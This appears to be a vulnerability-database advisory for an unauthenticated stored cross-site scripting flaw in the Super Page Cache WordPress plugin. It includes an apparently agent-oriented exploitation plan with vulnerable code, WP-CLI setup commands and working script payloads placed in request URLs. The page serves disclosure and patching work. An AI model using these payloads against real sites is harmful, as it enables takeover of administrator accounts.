Super Page Cache <= 5.2.2 - Unauthenticated Stored Cross-Site Scripting via Activity Log
Description
The Super Page Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Activity Log in all versions up to, and including, 5.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.2.2What Changed in the Fix
Changes introduced in v5.2.3
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2026-1843 ## 1. Vulnerability Summary The **Super Page Cache** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via its Activity Log feature. The vulnerability exists because the plugin records environment data (s…
Show full research plan
Detailed Exploitation Research Plan: CVE-2026-1843
1. Vulnerability Summary
The Super Page Cache plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via its Activity Log feature. The vulnerability exists because the plugin records environment data (specifically the request URI) into an activity log without sufficient sanitization, and subsequently displays these logs in the administrative dashboard without proper output escaping.
An unauthenticated attacker can craft a malicious URL containing a script payload. When the plugin attempts to process or cache this URL (and fails or skips it due to specific rules), it logs the full URL (including the payload). When an administrator views the Activity Log, the script executes in their browser context, potentially leading to session hijacking or administrative account takeover.
2. Attack Vector Analysis
- Endpoint: Any front-end URL (e.g.,
GET /some-page-or-404). - Vulnerable Parameter:
$_SERVER['REQUEST_URI']. - Authentication: None required for injection. Administrator required to trigger the payload.
- Preconditions:
- The "Purge HTML pages only" option (
cf_purge_only_html) must be enabled to activate theSWCFPC_Html_Cachemodule. - The Activity Log must be accessible and logging must be enabled (typically enabled when the dashboard is active).
- The "Purge HTML pages only" option (
3. Code Flow
- Entry Point: A request is made to the WordPress front-end.
- Hook Registration: In
libs/html_cache.class.php, theactions()method registers ashutdownhook:add_action( 'shutdown', [ $this, 'add_current_url_to_cache' ], PHP_INT_MAX ); - Data Collection: The function
add_current_url_to_cache()constructs the current URL:// libs/html_cache.class.php, Line 68 $current_url = "{$parts['scheme']}://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; - Logging (The Sink): If the page results in a 404 (a common way to trigger a "caching failure" log), the following code executes:
// libs/html_cache.class.php, Line 71 if ( isset( $wp_query ) && function_exists( 'is_404' ) && is_404() ) { $this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', "The URL {$current_url} cannot be cached because it returns 404.", true ); return; } - Storage: The
add_log()method (inlibs/logs.class.php) saves the string message containing the unsanitized$current_urlto a log file or database. - Rendering: When an admin accesses the dashboard, the plugin's React-based UI (found in
assets/build/) fetches these logs and renders them. If the UI uses a property likedangerouslySetInnerHTMLor does not escape the message string, the XSS triggers.
4. Nonce Acquisition Strategy
No nonce is required for the injection phase, as it occurs via a standard unauthenticated GET request to the site's front-end.
To configure the environment (Enable cf_purge_only_html), we will use WP-CLI to avoid manual GUI interactions.
- The settings are stored in the
swcfpc_settingsoption. - Key:
cf_purge_only_html.
If the agent needs to fetch a nonce for manual dashboard interactions:
- Navigate to the Super Page Cache settings page.
- Use
browser_evalto extract the nonce from theSPCDashobject (standard for this plugin's redesigned dashboard):window.SPCDash?.nonce
5. Exploitation Strategy
Step 1: Preparation
Enable the necessary module via WP-CLI to ensure the logging path is hit.
wp eval "import_once(WP_PLUGIN_DIR . '/wp-cloudflare-page-cache/bootstrap.php'); \
\SPC\Services\Settings_Store::get_instance()->set('cf_purge_only_html', 1); \
\SPC\Services\Settings_Store::get_instance()->save();"
Step 2: Payload Injection
Send an unauthenticated request to a non-existent page with an XSS payload in the query string. This will trigger the is_404() logging block.
- HTTP Request:
GET /non-existent-xss-page?a=<script>alert(window.origin)</script> HTTP/1.1 Host: localhost:8080 - Tool:
http_request.
Step 3: Trigger XSS
- Log in as Administrator.
- Navigate to the Super Page Cache Dashboard:
/wp-admin/admin.php?page=wp-cloudflare-page-cache. - Click on the Activity Log tab (or the "Logs" section).
- The payload will execute as the log entry "The URL http://... cannot be cached..." is rendered.
6. Test Data Setup
- Plugin Status:
wp-cloudflare-page-cachemust be active. - Plugin Version: Verify version is
<= 5.2.2. - Settings:
cf_purge_only_html=1.cf_log_verbosity=1(orSWCFPC_LOGS_STANDARD_VERBOSITY).
7. Expected Results
- The
http_requestto the 404 page should return a standard 404 response. - Checking the plugin's internal log file (usually
wp-content/wp-cloudflare-super-page-cache/logs/spc.logor similar) should show the URL containing the payload. - Upon navigating to the dashboard Activity Log, a JavaScript alert displaying the site's origin should appear.
8. Verification Steps
- Check Logs via CLI:
Confirm the entry exists in the log files.find /var/www/html/wp-content/ -name "*.log" | xargs grep "add_current_url_to_cache" - Verify Setting:
wp eval "echo \SPC\Services\Settings_Store::get_instance()->get('cf_purge_only_html');" - Check UI Response:
Usehttp_requestas an admin to fetch the AJAX data for the activity log and look for the unescaped script tag in the JSON response.
9. Alternative Approaches
If is_404() does not trigger logging, use the "Caching Rules" logic. Visit a page that the plugin is configured not to cache (e.g., the login page if parameters are allowed, or a page excluded in settings).
- In
libs/html_cache.class.php, if$this->current_page_can_be_cached == false, it logs:The URL {$current_url} cannot be cached due to caching rules. - Inject the payload into the
REQUEST_URIof a request towp-login.php(which is excluded by default inswcfpc_is_this_page_cachable()).- Request:
GET /wp-login.php?xss=<img src=x onerror=alert(1)> HTTP/1.1
- Request:
Summary
The Super Page Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to the unsafe logging of request URIs and subsequent unescaped output in the admin dashboard's Activity Log. Unauthenticated attackers can inject scripts by visiting a non-existent page with a malicious payload in the URL, which are then executed when an administrator views the plugin's logs.
Vulnerable Code
// libs/html_cache.class.php // Line 67 $parts = parse_url( home_url() ); $current_url = "{$parts['scheme']}://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; if ( isset( $wp_query ) && function_exists( 'is_404' ) && is_404() ) { $this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', "The URL {$current_url} cannot be cached because it returns 404.", true ); return; } --- // libs/html_cache.class.php // Line 142 $this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', "Created the file {$filename} for the URL {$current_url}", true );
Security Fix
@@ -189,6 +189,14 @@ if ( ! file_exists( $cache_path . $cache_key ) || $swcfpc_objects['fallback_cache']->fallback_cache_is_expired_page( $cache_key ) ) { + // Bypass 4xx or 5xx HTTP status codes (security blocks, errors, etc.) + if ( SPC\Services\Settings_Store::get_instance()->get( SPC\Constants::SETTING_FALLBACK_CACHE_HTTP_RESPONSE_CODE ) ) { + $http_status = http_response_code(); + if ( $http_status !== false && $http_status >= 400 && $http_status < 600 ) { + return $html; + } + } + if ( $sw_cloudflare_pagecache->get_single_config( 'cf_fallback_cache_ttl', 0 ) == 0 ) { $ttl = 0; } else {
Exploit Outline
The exploit targets the plugin's Activity Log, which records caching failures and events. 1. Precondition: The attacker identifies a site using Super Page Cache with the 'Purge HTML pages only' (cf_purge_only_html) option enabled. 2. Injection: An unauthenticated attacker sends a GET request to a URL that results in a 404 (or another cache-skipping rule), appending a script payload to the URI (e.g., `GET /non-existent-page?xss=<script>alert(document.cookie)</script>`). 3. Sink: The plugin captures the raw `$_SERVER['REQUEST_URI']` to construct a log entry stating the URL cannot be cached. This entry is stored in the plugin's logs. 4. Trigger: An administrator logs into the WordPress backend and navigates to the Super Page Cache settings page to view the Activity Log. 5. Execution: The React-based dashboard fetches the logs and renders the malicious string without proper output escaping, executing the script in the administrator's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.